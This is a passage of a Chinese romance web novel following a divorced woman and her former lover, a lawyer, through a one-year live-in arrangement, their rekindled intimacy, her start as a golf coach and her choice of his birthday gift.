帮她洗澡换衣的整个过程,对他而言,无异于一场酷刑。 每一次碰触,都是在点燃他身体里的火种。 昨夜贺淮钦伺候好这个酒鬼,洗了两个冷水澡才把身上的躁动压下去,没有人知道,他经历了怎样一场情欲和理智的激烈搏斗。 温昭宁原本还有点不好意思,听到贺淮钦这般坦诚,她忍不住笑了:“都这样了还能忍住,贺律真是个正人君子呢。” “不是我正人君子,而是我知道你喝醉了会断片,第二天什么都记不住。” “这和我记不记得住有什么关系?” “当然有关系。”贺淮钦扣住她的下巴,附到她耳边沉声说,“我要你清楚地记住,我到底是不是又小又快又没劲儿。” 温昭宁都快忘了这茬了,这人怎么还记得呢? “真记仇。”她咕哝一句。 “起来洗漱,吃早餐。” “哦。” 温昭宁起来洗漱,回客房拿了衣服换上。 她下楼的时候,贺淮钦已经准备好了早餐。 早餐是温昭宁最喜欢的锅贴。 温昭宁一打开袋子,就闻到了熟悉的香味,当年贺淮钦租房的那条街上,有一家夫妻店,专门卖锅贴,他们的锅贴煎得金黄酥脆,边缘透着诱人的焦香,内里隐隐透着饱满的馅料,一口咬下去又脆又爆汁,温昭宁每隔几天就要去吃一次。 这个包装袋……是那家店! 他竟然还记得她爱吃那家店的锅贴。 可是这里距离那家锅贴店,有半个小时车程呢,他一大早跑那么远去买的早餐? “这锅贴……” “吃吧,趁热。”贺淮钦搅拌着面前的黑咖啡,打断她即将出口的询问。 很明显,他一点都不想听她提及过往。 温昭宁默默坐下,夹起一个锅贴,蘸了酸辣的酱汁,咬了一口。 还是记忆中的味道。 味道没变,坐在她对面的人也没变,可惜,他们都变了。 温昭宁吃完早餐,贺淮钦还坐在那里慢条斯理地喝咖啡,身上的居家服也没有换。 “你今天不上班吗?”她问。 “不上。” “为什么啊?今天又不是周末。” “翘班,为了给你庆祝离婚。” “啊?”温昭宁讪讪,“倒也不必这么耽误贺律的时间。” “我不多花点时间,保不齐你又跑到外面找别人替你庆祝。”贺淮钦说完,一把将温昭宁拉过来,搂到自己的腿上,“吃饱了吗?” “饱……饱了。” “饱了就该运动了。” 第一卷 第24章 什么姿势 温昭宁感觉到某人身上一阵蠢蠢欲动的危险。 他不是一直坐在那里慢条斯理地喝咖啡吗?什么时候有反应的? 她吃个锅贴而已,没那么性感吧? 看来昨夜憋下去的那把火,全等着今早燃烧了。 “我觉得……刚吃饱就运动,不太好吧?” “那就先聊会儿天。” “聊什么?” “聊聊你喜欢什么姿势。” 温昭宁一个没绷住,脸瞬间就涨红了,但看着贺淮钦这从从容容的架势,她也不打算就这么败下阵来。 “都行,但我比较喜欢在上面。” “像现在这样?”他的大腿一抬,将她往上颠了颠,用商量的口吻问她:“不如就在这里用这个姿势开始?” 在餐厅?椅子上? 温昭宁这么多年都没有做过,可受不了这么刺激的。 “那个……我想先洗个澡。” “刚吃饱洗澡不太好。”贺淮钦的手在她腰间来回摩挲着,“而且,我昨晚已经给你洗得干干净净了。” 说到昨晚,那些画面和那些触感又清晰地蹦了出来。 贺淮钦不再忍耐,他勾住温昭宁的下巴,精准地将唇覆了上去。 温昭宁斜坐在他的怀里,他滚烫的唇舌碾磨着她的,两人的呼吸都变得粗重而凌乱。 这次不像是试探她,这次像是动真格的了。 不会真的要在这把椅子上吧? 温昭宁有点受不住:“要不,还是去房间里吧?” “怂了?”贺淮钦嗤笑,“你不是喜欢在上面?” “什么地方办什么事,在这里会影响我以后吃饭的胃口。” 贺淮钦本来也没打算在餐厅,闻言,他一把将她打横抱了起来,步伐矫健地朝楼梯走去。 边走,边继续吻她。 温昭宁依偎在贺淮钦的怀里,楼梯的颠簸感和唇齿间的灼热纠缠在一起,让这个吻变得更加刺激和不可控,她头晕目眩,浑身发软,只能紧紧攀着他的脖子,心跳随着每一步的上升更失序一分。 终于,贺淮钦把她放到了床上。 他一把掀掉了他的上衣,居高临下地看着她:“温大小姐,现在,我要为你庆祝离婚了。” 六年的空白期,第一回合的时候,温昭宁有点不适应。 贺淮钦也好不到哪里去,横冲直撞的,像头找不到方向的蛮牛。 尤其是,过程中贺淮钦忽然想起来她说喜欢在上面,他还真把她抱起来交换位置。 温昭宁现在哪儿有那个掌控全局的能力。 所以,整体感觉就是,做得手忙脚乱、乱七八糟的。 结束后,两人并肩躺在一起调整呼吸。 贺淮钦:“生涩成这样,看来温大小姐是真的很久没有夫妻生活了。” 温昭宁:“贺律也没有好到哪里去,像个新兵蛋子,只有莽撞,还不如六年前。” 贺淮钦一个翻身将她压住:“没关系,我们有的是时间可以磨合。” “还来?” “不来我翘班一天多浪费?” “……” -- 贺淮钦翘了一天班,他们在床上一天一夜。 中途当然也停过,他们吃了午餐和夜宵,还一起洗了个澡,但这些都只是暂停,每当温昭宁觉得“这下总结束了吧”的时候,贺淮钦又会亢奋地贴过来。 温昭宁都怀疑他是不是给自己装了个永动机。 不想承认,但他真的比六年前更强了。 怎么有人逆生长?这不科学吧? 真正结束,已经是隔天清晨。 温昭宁趴在床上,浑身像被拆开重组过一样,动一动手指都觉得费力。 浴室里传来冲澡的水声。 贺淮钦洗完澡,就进了衣帽间,过了会儿,他换上了一身笔挺的深色西装,边调整腕表,边走到床边。 “我早上约了客户,先走了,你睡吧。” 温昭宁抬眸看向他,他脸上带着沐浴后的清爽,眉宇间更是看不出丝毫疲倦,反而有种饱餐后的饕足和神采奕奕。 “你是人吗?”温昭宁忍不住问。 “你觉得呢?” “我觉得你是禽兽。” “谢谢夸奖。”贺淮钦抬手给温昭宁掖了掖被子,“希望能改变温大小姐对我又小又快又没劲的刻板印象。” 温昭宁算是听明白了,他昨晚往死里干的原因,是为了证明自己。 真是祸从口出。 贺淮钦出门后,温昭宁倒头就睡过去了。 这一觉,睡得昏天暗地,再次睁开眼睛的时候,窗外的天已经是浓郁的墨蓝。 贺淮钦不知道什么时候回来的,这会儿正坐在沙发里回邮件。 “你什么时候回来的?” “有一会儿了。”他抬起头,看了她一眼,放下笔记本电脑,朝她走过来,“还好吗?” “还好。” 贺淮钦递给她一管药膏:“如果感觉不舒服,自己处理一下。” 温昭宁瞧了一眼,那是一管舒缓修复的消炎药膏。 他竟然去买了这个? “你还知道自己干的好事。”她没好气。 “抱歉,我没想到温大小姐现在这么弱。” “谁弱了?”温昭宁不服输的脾气又上来了,她一把将药膏扔回给贺淮钦,“看不起谁呢,我不需要这玩意儿!” 她披了睡袍,掀开被子,干脆利落地下床。 然而,温昭宁还是高估了自己身体的承受能力,她才迈开腿,就感觉到下面传来一阵酸软和牵扯痛。 “嘶——” 她没忍住倒抽了一口凉气,膝盖一软,整个人不受控地向前栽去。 贺淮钦似乎早就预料到了会这样,在她下床的那一刻他就做好了准备,他长臂一伸,轻而易举将她捞了个满怀。 温昭宁的脸撞在贺淮钦的西装上,那点伪装的气势瞬间消散得无影无踪。 “呵。”贺淮钦嘲笑一声,“浑身上下,嘴最硬。” 他把她抱起来,放回床上,举着药膏问:“是我给你擦,还是你自己擦?” 温昭宁一把抢过药膏:“我自己擦!” “处理好下来吃饭。” -- 温昭宁在楼上换好衣服,扶着楼梯间的扶手,慢慢走下台阶。 楼下,弥漫着一股食物的香气,是糖醋排骨混合着米饭蒸腾的热气。 她循着香味,望向开放式厨房的方向。 贺淮钦正在炒菜,他袖子挽到手肘,露出结实的小臂,正熟练地握着锅铲,翻炒着锅里的菜肴。 抽油烟机低鸣,锅里发出滋滋的声响,温暖的灯光笼罩着他,这一幕太过熟悉。 那年他们同居,出租屋的小厨房就像是个蒸笼,老旧的电风扇吱呀呀地转着,吹出来的风都是热的,贺淮钦舍不得她受热,每天都把做菜的活给揽了。 每次温昭宁过去,就看到他穿着个背心站在灶台前炒菜,后背和前胸都被汗水泅湿了一大片。 她也不顾他满身的汗,冲进去就紧紧地从身后抱住他的腰,他一边让她别闹出去,一边却止不住的唇角上扬…… 温昭宁没想过,时隔六年,贺淮钦竟然还愿意为她下厨做菜。 她的心里又泛起一丝不该有的波澜。 就在这时,她的手机忽然响了起来。 是妹妹温晚醍打来的电话。 温昭宁推开门,走到庭院里接起来。 “姐!我刚接到银行的电话,说贷款债务都还清了!”温晚醍的声音并没有很开心,反而带着一丝担忧,“事出反常必有妖,陆家怎么忽然这么爽快,你没事吧?” 上次打电话时姐姐温昭宁说要离婚拿回曾经的嫁妆还债时,温晚醍其实并不抱任何希望,她知道陆家有的是力气和手段吞了姐姐的嫁妆,但她没想到的是,事情这么快就解决了。 温晚醍现在怀疑是不是姐姐温昭宁又做出了什么牺牲,才换回了那笔嫁妆钱。 “你别多想,我没事。” “真没事?” “真没事,你放心,家里的债务都解决了,之后你就可以好好读研了。” “那你和青柠现在住在哪里?” “青柠送去妈和舅舅那里了,我在沪城还有些事情没有处理好,等这边的事情都处理好了,我也会回悠山去发展。” 温昭宁打算还了贺淮钦这笔债后,就彻底离开沪城,带着女儿和母亲忘掉过去的一切,重新开始。 “好,那你照顾好自己,有事给我打电话。” “嗯,你也是。” 温昭宁挂了电话,折回客厅。 贺淮钦已经把饭菜都端上了桌。 “过来吃饭吧。”他对温昭宁说。 温昭宁看了一眼桌上的菜肴,都是她爱吃的,之前她去贺淮钦那里做菜,做的都是他爱吃的菜,是因为她记得他的喜好,那他呢,今天是巧合?还是他也记得她的喜好? “真丰盛。”温昭宁夸。 “随便做的。”贺淮钦面无表情地说。 温昭宁点点头,也是,都六年了,他现在记女朋友的喜好都来不及,怎么还会来记得她的喜好。 两人面对面坐在一起吃饭。 “正常情况下,你平时几点下班?”温昭宁询问。 “问这个干什么?” “我想出去工作,尽量找个能赶在你下班前回家的工作。” “不用找工作,我等下把我的副卡给你,你想买什么随便刷。” “我不要你的钱。我现在和你在一起,是还你之前救我女儿和助我离婚的恩,我是和你交易,又不是被你包养,说好一年就是一年,我不想牵扯更多。” 不想牵扯更多。 贺淮钦忽然就没有胃口了,他“啪嗒”一声放下筷子,推开椅子起身,拿了包烟就往庭院里去。 “诶,你不吃啊?”温昭宁叫住他。 “饱了。” 被她气饱了。 -- 贺淮钦明显不希望温昭宁出去找工作,但温昭宁才不管他怎么想,她已经给自己定下了目标,留在沪城的这一年里多多赚钱,攒一些积蓄,然后回悠山去创业。 这样既能陪伴母亲和女儿,又能拥有自己的事业,两全其美。 温昭宁是个行动派,第二天她就开始在网上留意招聘信息。 苏云溪知道她要找工作,立刻发来一条招聘链接。 “宁宁,霍郁州在清河的高尔夫俱乐部正在招聘私人教练,你看你想不想去?” 温昭宁点开链接,仔细地查看了任职要求,感觉这个工作太简直太适合她了。 作为曾经的富家千金,高尔夫是他们那个阶层必备的社交技能,温昭宁从小接受专业的训练,再加上她自己热爱肯钻研练习,她的水平很高,教学初级学员绰绰有余。 另外,高尔夫私教收入可观,私教课程也可以按照预约灵活安排,时间上更自由,不会与贺淮钦的“交易”时间冲突。 “溪溪,我想去试试!” “好,那我和霍郁州说一下。” “需要和霍郁州说吗?”温昭宁想到那日在酒吧,霍郁州得知是她带苏云溪点男模后,那表情简直像要生吞活剥了她,这个后门,是不是不开胜算更大? “没事,他这人就是看着脾气臭,其实也没那么小气。” “哟,还是头一次听你为霍郁州说话呢。” 苏云溪不认:“我才没有为他说话,我这是陈述客观事实。” -- 霍郁州作为霍氏的总裁,名下产业众多,原本高尔夫俱乐部招聘私人教练的事情,根本用不着他来管,但因为苏云溪开口了,他顺手就给安排了。 他给俱乐部的人事打过招呼后,又给贺淮钦发了信息。 “淮钦,温小姐前几天出去找男模,今天又出来找工作了,你是不是亏着她了?” 贺淮钦收到霍郁州的消息时,正在开会,他原本不打算理会,直到眼角余光瞥见了“温小姐”三个字。 他打开信息看了一眼,脸上表情没什么变化,但坐在贺淮钦身边的陈益明显感觉到老板周身的气压瞬间降低了很多。 贺淮钦:“澄清一下,出去点男模的是你老婆。” 霍郁州:“???” 贺淮钦:“那天的账是我结的,账单上有记录,点男模的女士姓苏。” 霍郁州:“!!!” 贺淮钦:“结婚第一年就跑出去点男模,霍总,你才应该深刻反省一下,是不是亏着自己老婆了?” 霍郁州:“……” 贺淮钦把霍郁州整破防后,会议也结束了。 “陈益,明天与宏碁集团李总的会面地点改一下,改到丘山国际高尔夫俱乐部。” “好的,贺律” 第一卷 第25章 手把手教 温昭宁第一天上班,苏云溪说好要来看她,却迟了一个多小时才到。 苏云溪下车的时候,温昭宁见她走路姿势不太对劲,她连忙上前搀住了苏云溪。 “溪溪,你哪里不舒服吗?” “别提了。”苏云溪两只手捏紧了拳头,“还不是霍郁州干的好事!” 温昭宁秒懂。 苏云溪现在这样,和前两天她下床时站不稳的样子有什么区别? “男模那事儿好不容易糊弄过去,这个狗男人也不知道怎么回事,昨晚又开始翻旧账!” “你还说他没那么小气,我看就挺小气的。” “是,我收回那句话,霍郁州就是个小气鬼!不仅小气还双标,怎么就许他酒吧会所,不许我点个男模!”苏云溪“吧啦吧啦”一顿吐槽后,从袋子里拿出一个小蛋糕,“算了,不说那个狗男人了,今天是你第一天上班的日子,为了庆祝你踏入职场,开始新的人生,我们吃个小蛋糕庆祝一下!” 温昭宁其实对“庆祝”两个字都有点发怵了,但还好今天只是吃个小蛋糕,吃个小蛋糕总惹不到那两个小气的男人吧。 “宁宁,陆家的事情你听说了吗?”苏云溪一边吃蛋糕一边问。 “什么事?” “你那前公公陆乾勇被带走调查了,据说是严重违规违纪。” “那陆恒宇呢?” “陆恒宇那家伙警觉性高,提前逃到国外去了,现在人都找不到。”苏云溪拍拍温昭宁的手背,“不过你也不用担心,他估计这辈子都不敢回国了!你就安安心心地开始新生活吧!” 温昭宁点点头,她只愿自己此生都不要和陆恒宇有瓜葛! 苏云溪走后,温昭宁换了衣服准备上岗。 客户经理亲自带她介绍同事,熟悉俱乐部。 温昭宁毕业后去自家公司上过一段时间的班,后来就结婚生下了青柠,有了孩子后,她便没有再工作过,如今重新回到职场,感觉很新奇也很兴奋。 高尔夫俱乐部练习场上阳光明媚,青草茵茵,她在婚姻里压抑、逼仄了六年的心胸,一瞬间好像彻底宽阔了起来。 “你就是霍总亲自安排进来的新教练啊?”身后忽然传来一道男声。 温昭宁回头,看到一个戴着私教名牌的男人站在她的身后。 名牌上的名字是“夏霖”。 刚才经理给她介绍同事的时候,顺口提过一嘴,还有一位能力出众的同事还没有到,看样子,就是这位夏霖夏教练了。 “夏教练你好,我叫温昭宁,以后请多多指教。”温昭宁初来乍到,本着和同事好好相处的原则,主动朝夏霖伸出了手。 夏霖看她一眼,却并没有握住她伸过来的手。 “高尔夫这玩意儿,可不是长得漂亮会摆姿势就行的,这里的会员也不是只看脸的傻子,你要是没有真本事,劝你还是趁早回到霍总身边去当个花瓶,别来这里砸俱乐部的招牌,坏了我们的饭碗。” 温昭宁一愣。 回到霍总身边去当个花瓶? 这夏霖是误会她和霍郁州的关系了吧。 “夏教练,首先呢,谢谢你肯定我的颜值,第二呢,是霍总安排我来这里工作没错,但我和霍总清清白白不是你想的那种关系,最后,我自然是有点真本事,才敢来吃这碗饭的。” “有真本事?你口气不小,那敢比一比吗?” 夏霖嗓门大,俱乐部的客户和其他工作人员都围过来看热闹。 温昭宁不欲生事,但她知道,今天要是不摘了这些人的有色眼镜,那之后她将一直戴着“关系户”的帽子。 “好啊,那就比一比,规则由夏教练定。” 此话一出,现场响起一阵低低的哗然,毕竟,众人都知道,夏霖的实力在这个俱乐部里算是拔尖的。 “行,既然你这么爽快,那我也不搞太复杂的,就打三杆洞,标准杆三杆,看谁用的杆数少,怎么样?” 三杆洞距离比较短,但极其考验精准度和对球杆的控制力。 “好。” 温昭宁要和夏霖比试的消息迅速传开了,连一些正在练球的会员都好奇地围了过来。 现场人越来越多,温昭宁却一点都不怯场。 第一杆开球,夏霖先来。 夏霖稳定发挥,小白球划出不错的弧线,落在了果岭边缘,位置尚可。 “到你了。”夏霖目光挑衅。 温昭宁拿上开球木杆,姿势标准利落,挥杆流畅果断。 “嗖——砰!” 高尔夫球应声而出,飞行轨迹又高又直,精准地落在果岭中心,并且因为带着强烈的后旋,球落地后几乎没有向前滚动,反而微微向后回弹了一小段距离,最后停在了距离球洞旗杆仅剩三码左右的绝佳位置。 “哇塞!这控制力绝了!” “这落点也太刁钻了吧!” “太厉害了!这女教练有点子实力!” 围观人群中爆发出惊叹。 夏霖的脸色瞬间变了,看来,是他轻敌了。 第二杆推杆,压力来到了夏霖这边,他的球在果岭边缘,需要一记长推,且线路复杂。 夏霖深吸一口气,反复观察许久,才挥杆,结果因力道稍轻,球停在洞杯口半尺处,没能进洞。 他需要第三杆。 接下来又轮到了温昭宁,温昭宁只是简单地观察了一下草纹和坡度,沉稳站定,没有过多犹豫,手腕稳定一推,白色的小球沿着她预想的路线,“哐当”一声清脆地直接落入洞中。 “进了!老鹰球!” “她只用了两杆!牛啊!” 现场沸腾了。 夏霖这样的资深教练都需要三杆才能完成,而温昭宁竟然仅仅用了两杆,就以绝对的优势获胜了! “怎么样夏教练?现在我有资格留在这里教学了吗?”温昭宁收起球杆,从容地看着夏霖。 夏霖脸一阵红一阵白的,他没想到这女人这么厉害,他之前所有的质疑和嘲讽,此刻都变成了响亮的巴掌,回扇到了他的脸上。 不过,技不如人,他也认了。 “欢迎温教练,以后请多多指教。” -- 温昭宁用实力证明了自己,原本还觉得畅快,结果一抬头,看到主楼通往练习场的廊桥下,贺淮钦正站在那里。 他怎么来了?他看到她了吗? 温昭宁想到之前她说要出去工作时贺淮钦那拧着眉头的样子,心想,他不会来抓她回去的吧? 先躲一躲吧! 大脑来不及细细思考,她已经转身拔腿往更衣室的方向跑去,就在她冲到走廊拐角,以为暂时安全时,她却结结实实地撞进了一个坚硬温热的怀抱。 熟悉的木质冷香将她包围。 温昭宁不用抬头也知道,她这是羊入虎口了。 “躲我?”贺淮钦手臂自然而然地环住她的腰,语气低沉中带着一丝危险的玩味儿,“温教练刚才不是挺厉害的么?怎么见我就跑?” “我没躲你,我这不急着去洗手间嘛。” “洗手间在反方向。” “哦,我这不第一天上班还不熟嘛,谢谢贺律给我指路,再见哈。” 她推开贺淮钦掉头又想跑,被贺淮钦一把扯回来。 “我陪你去洗手间。”他冷冷地说。 “不用不用,这怎么好意思呢。” “我们两个之间就不用见外了。” 温昭宁见他不像是开玩笑,脸一垮:“算了,我忽然又不想上了。” “那聊聊?” “我知道你要说什么,但是我很喜欢这份工作,你说什么我都不会放弃的。”温昭宁看着贺淮钦的眼睛,“这对我来说不仅仅是一份工作,更是我找回自我价值的开始。” “我还什么都没说,你怎么就知道我要劝你放弃?” “你不是不喜欢我出来工作吗?” “我什么时候说过?” “你那天……” “我那天只是让你刷我的副卡,你既然不要,那就算了。” “这么说,你对我出来工作没意见?” “我有意见你就不工作了?” “不是,我还是要工作的。” “那不就得了?” 反正他的意见不重要,那他何必再提意见。 更何况,她刚才在球场上实在迷人,有一瞬间,他分明看到了当年那个自信明媚的温大小姐。 “你不是要找我聊放弃工作的事情,那你要找我聊什么?” “聊聊怎么买课?” “你要买课?” “对。” “其实你也不用特意来照顾我的生意。” “我没时间特意来照顾你的生意,我只是正好想学高尔夫球。” “你不会?” “不会。” “不会你今天来这里谈生意?” “客户约了这里。”贺淮钦面不改色心不跳。 温昭宁不疑有他:“行吧,那我教你。” -- 温昭宁没想到,上班第一天就开了一个大单,更没想到,贺淮钦成了她的第一个会员。 去办公室开单交费后,温昭宁问他:“贺律,你想什么时候开始上课?” “今天。” “今天?” “温教练不方便?” “方便方便。” 贺淮钦去更衣室换了一身高尔夫球服,白色的Polo衫让他看起来少了几分凌厉,多了几分休闲的俊朗。 “贺律,那我们先从握杆和站姿开始。” “好。” “你先自己试试。” 贺淮钦拿起球杆,但姿势完全不对。 温昭宁上前一步指点:“手指放这里。” 她下意识地出手去调整他手指的位置,当她的指尖触碰到他温热的手背时,贺淮钦看了她一眼。 温昭宁在他眼里捕捉到了熟悉的情欲。 不是吧,这个男人,这光天化日之下也能发情? 难怪他之前说没有睡腻,看来不止没腻,还挺上瘾的。 “贺律,上课的时候认真点,要心无杂念,才能掌握知识点。” “怎么?温教练是感受到我的杂念了?” “我只是提醒你一下。” 温昭宁强作镇定,替他摆正手指的位置后,又提醒说:“站姿也调整一下,膝盖微屈,重心放在脚掌。” 他不知是有意还是无意,站姿松松垮垮的。 温昭宁不得不蹲下来,用手轻轻地拍了拍他的小腿,示意他调整腿部的重心。 贺淮钦低头看向她,她今天穿着教练工作服,上身是修身款的白色Polo衫,完美地勾勒出她纤细却不失力量感的腰肢,Polo衫的领口微微敞开,露出线条优美的锁骨和细腻的肌肤,下身是一条经典的白色高尔夫短裙,恰到好处地展露出她笔直修长的双腿…… 一想到她之后将以这样的姿态事无巨细地去教授男学员,贺淮钦的心里隐隐不爽。 “你专心点行不行?”温昭宁见贺淮钦走神,直接一掌拍在他的身上。 “温教练这就没耐心了?” 温昭宁一想到自己的提成和奖金,连忙摇头:“抱歉贺律,是我太着急了,没事,我们慢慢来。” “我好像没什么打高尔夫球的天赋。” “不不不,贺律不要妄自菲薄。” “我没有妄自菲薄,我的意思是,我没有天赋,可能需要温教练手把手带我挥出第一杆。” 贺淮钦将“手把手”三个字咬得格外的清晰。 温昭宁自然能听出他的弦外之音,她想拒绝,却又找不到合适的理由,毕竟,贺淮钦现在是客户。 客户是上帝。 看在钱的份上,她忍了。 温昭宁走到贺淮钦的身后,将他半圈在怀里,伸出手,覆在他握着球杆的手上,引导他完成标准的挥杆动作。 这一球,温昭宁没控制好力道,却意外打得特别好。 “看来我和温教练不止在床上,在球场上也很有默契。” 贺淮钦说着回过头看她,温昭宁本来就因为两人贴得太近心神不宁的,被他回眸一瞥,呼吸都乱了节奏。 她下意识地往后退,却不小心勾到脚边的草皮,在她即将往后跌去的瞬间,贺淮钦眼疾手快,一把将她捞进了怀里。 就着这个亲密的姿势,贺淮钦的吻也顺势朝她落下来。 温昭宁赶紧抬手捂住了他的唇,用力将他推开。 “贺淮钦你干什么?我上班呢!” “我想吻你。” “你脑袋里除了黄色废料就没有其他东西了吗?色狼!” 贺淮钦被骂不怒反笑:“你就当是我也给你上一课,这个世界上大多数男人都是满脑子黄色废料的色狼,你如今在这里上班,免不了要和形形色色的人打交道,记得保护好自己。” 第一卷 第26章 抱紧一点 这突如其来的温情叮嘱让温昭宁有点失神。 她推开了贺淮钦,整理了一下衣摆,说:“继续吧。” 贺淮钦没再说什么。 一节课六十分钟,课程结束后,温昭宁收拾了一下球杆。 贺淮钦跟在她身后,也不走。 “你几点下班?” “五点。” “下班后一起吃个饭。” “好。” 贺淮钦五点准时来俱乐部门口接温昭宁。 他原本定了西餐厅,但路过一个热闹的街口时,一股浓郁鲜香的牛骨汤气味,混合着独特的香料味,猛地窜入车内。 温昭宁深深地吸了一口气,目光被路边那家牛肉火锅大排档吸引了。 “贺淮钦,我们吃牛肉火锅好不好?” 贺淮钦往那大排档看了一眼:“你确定?” “嗯,闻起来好香。” 贺淮钦打了转向灯,缓缓将车靠边停下。 两人一起下车,走进喧闹的牛肉火锅大排档。 贺淮钦一身价值不菲的西装,加上长得实在出众,引来不少食客侧目。 “你吃得惯吗?”温昭宁问他。 这个问题,贺淮钦当年总问她,那时候,温大小姐和他谈恋爱,因为他囊中羞涩,她陪着他吃了不少路边摊和大排档,每次看她光鲜亮丽地坐在不符合她身份的环境中,他总觉得是自己亏欠了她……没想到,如今倒成了她来问他。 贺淮钦还没回答,温昭宁又说了一句:“我经常来吃。” 他饶有深意地看向她:“为什么?” 温昭宁这才意识到自己口快了。 她当然不会告诉他,她是太怀念和他在一起的那段时光了,刚生下青柠那会儿,她因为产后激素变化,情绪非常不好,有时候夜里难过,她就会把孩子交给段姨照看,自己跑出来吃一碗热气腾腾的砂锅或者撸一顿串,就像他还在身边时那样。 “因为我觉得路边摊和大排档的锅气很足,味道不输米其林。” 贺淮钦沉默。 两人找了个安静地角落坐下,温昭宁很熟练,她在征求过贺淮钦的意见后,快速地点了一份鲜切牛肉、牛筋丸、白菜、豆腐泡,还要了一份炒牛河。 老板娘先把锅底端上来,是浓郁的番茄汤底,咕噜咕噜地冒着泡。 贺淮钦一时无法下手。 温昭宁倒是自在,涮肉,蘸酱,眉眼弯弯地吃进嘴里,一副满足的样子。 两人吃到一半时,外面走进来一对大学生情侣,男生骑着自行车,载着女生来吃火锅,两人手牵着手,说说笑笑坐到了温昭宁他们边上的桌子。 男生贴心地给女朋友烫餐具,调蘸碟,画面青春又美好。 温昭宁的目光落在他们的自行车上,有一瞬间,她很想问问贺淮钦还记不记得,当年他也是这样骑着自行车载着她去到处去觅食的。 可她话到嘴边了,还是没有问出口。 他们的过去就像是一本禁忌的书,每次往前翻一页,总无可避免地会想到她最后抛弃他的结局。 不提也罢。 -- 两人吃完火锅回家,一身的火锅味儿。 温昭宁先上楼去洗了澡。 她洗完澡后,给母亲打了视频电话,和青柠聊了一会儿。 青柠回到老家后,适应得非常好,母亲说可能是悠山空气比较好,就连困扰青柠许久的过敏性鼻炎都缓解了不少。 温昭宁放了心。 打完电话,贺淮钦还迟迟不上楼。 温昭宁等得有点困了,就想着下楼去问问,如果不做,她要睡了。 楼下庭院,贺淮钦正在组装一辆自行车。 一个小时前,他打电话让陈益送辆自行车过来,陈益倒是挺高效的,没一会儿就把自行车送来了,只可惜,他送来的是一辆没有组装好的自行车。 贺淮钦整整组装了半小时,才把自行车装好。 温昭宁下来的时候,贺淮钦刚拧紧最后一个螺丝。 “你哪里弄来一辆自行车啊?” “陈益送来的。” “这么晚了还送自行车来干什么?” “你不是想要?” 贺淮钦注意到了,刚才吃火锅的时候,温昭宁一直盯着人家的自行车看。 “试试。” 他迈坐上去,拍着后座,让温昭宁上车。 温昭宁踌躇不动。 “怕?”他一本正经,“怕的话可以咬我。” 温昭宁心潮汹涌。 原来记得当年那些细枝末节的人,不止是她。 她走到自行车旁边,扶着贺淮钦的腰,侧着身子坐上了自行车的后座。 “抱紧我。”贺淮钦说。 温昭宁的双臂环住他精壮的腰身。 贺淮钦侧眸看她:“抱紧一点。” “已经抱紧了。” “再紧一点。” 当年的温大小姐,抱他的时候,可是恨不得把手臂嵌进他肉里的那种紧,自行车一圈没骑完,他的油水都被她揩尽了。 “快走吧,你再讨价还价,我不坐了。” 贺淮钦似乎笑了声:“那坐稳了。” 他蹬下脚踏板,自行车动了起来,载着两个人,在寂静的庭院里,慢悠悠地绕着圈圈。 月光将两人的影子拉得很长很长,车轮碾过砂石,发出细微的沙沙声。 温昭宁靠在贺淮钦的后背上,起初有点紧张,手臂僵硬,但渐渐地就放松了下来。 她闭上了眼睛,隔着薄薄的衣衫,她能感受到他身体传来的热度,这种亲密无间的依靠,让人觉得宁静也心动。 这段夜骑,像一个短暂的梦,悬浮在现实之上。 温昭宁甚至都快忘了,他们是在交易。 不知绕到第几圈的时候,贺淮钦停了下来。 温昭宁跳下车,脚刚沾到地,贺淮钦已经将自行车往边上一扔,转身搂抱住她。 强大的力量让温昭宁完全无法抗拒,她整个人撞进他的怀里。 贺淮钦低头,攫住了她的唇,深入、纠缠。 温昭宁措手不及,她感觉到了他急切的占有欲和一种无法名状的情绪,或许,过往越甜,就越显得如今的畸形关系可笑。 “去里面吧。” 温昭宁因为缺氧而微微挣扎,发出细弱地呜咽。 贺淮钦这才停下来,他的额头抵着她的,缓了缓呼吸后,一把将她抱起来,往屋里走…… 第一卷 第27章 介绍对象 接下来的一个月,温昭宁在高尔夫俱乐部的工作可以说顺风顺水。 上官太太蒋秋萍得知她在丘山高尔夫俱乐部上班后,立刻来温昭宁这里办了卡,她不止自己来,还带了好几个富太太一起来。 那一个月,温昭宁光是提成就拿了好几万。 发工资的那天,温昭宁一个人看着手机短信开心了半天,她给母亲和妹妹各转了一些生活费,但两人都不约而同地退了回来。 母亲:“赚钱不容易,你自己存着,青柠还小,以后用钱的地方多的是。” 妹妹温晚醍:“姐,我现在除了吃饭也不怎么花钱,我兼职赚得够生活费,还小小攒了一笔,你不用给我。” 温家三位女性,曾经都是养尊处优、一掷千金的主,经历过温家的破产风波后,她们都重新成长了一次,至少金钱观和之前彻底不一样了。 温昭宁给自己留了一万块钱,其他都存了起来。 其实她现在吃住都在贺淮钦这里,上班有工作服,也花不了什么钱,她给自己留一万是因为贺淮钦要生日了。 她准备给贺淮钦买个小礼物,毕竟,这一个多月,他对她还算可以,床上床下都挺尊重她的,温昭宁先前担心的有意为难,都没有发生。 周末,温昭宁约了苏云溪逛街。 两人经过一家男士配饰店的时候,温昭宁被橱窗里展示的一对复古袖扣吸引。 袖扣的主体是墨蓝的珐琅,边缘镶嵌着一圈纤细的古巴链纹,纹路精细,低调而神秘。 “溪溪,我们进去看看。” “好。” 温昭宁请店员向她介绍了一下那对袖扣,店员介绍得特别详细,听完店员的介绍后,温昭宁越发觉得这对饱含时光底蕴和故事感的袖扣和贺淮钦是绝配。 “麻烦给我包起来。” “好的女士,请稍等。” 店员走开去取包装盒和礼袋,苏云溪凑到温昭宁的耳边,压低声音问她:“宁宁,你俩这是睡着睡着又旧情复燃了吧?” “没有。”温昭宁否认,“我们单纯就是交易。” “首先,你会精心给他挑生日礼物,这就不单纯了。” “哪里精心了,随便应付一下而已。” “嘴硬,刚才逛了这么久,看了领带皮带你都不满意,怎么就偏偏挑中了气质最符合贺淮钦的袖扣呢。” 温昭宁笑:“你也觉得这对袖扣称他对吧?” “你别扯开话题了,你老实说,你是不是还喜欢他?” 温昭宁张了张嘴,想否了苏云溪的问题,但脑海里自动闪过的却是贺淮钦骑着自行车,在月光下带着她兜圈的画面。 “怎么不说话?” “你想多了。”温昭宁垂眸,像自我催眠似的又重复一遍:“我们单纯就是交易,一年后就彻底结束了。” “如果你真的打算一年后就结束,可千万别陷进去了。”苏云溪揽住温昭宁的肩膀,“我不想看你好不容易离了婚,又转头去吃爱情的苦。” “放心吧,我不会。” -- 贺淮钦生日那天是周五。 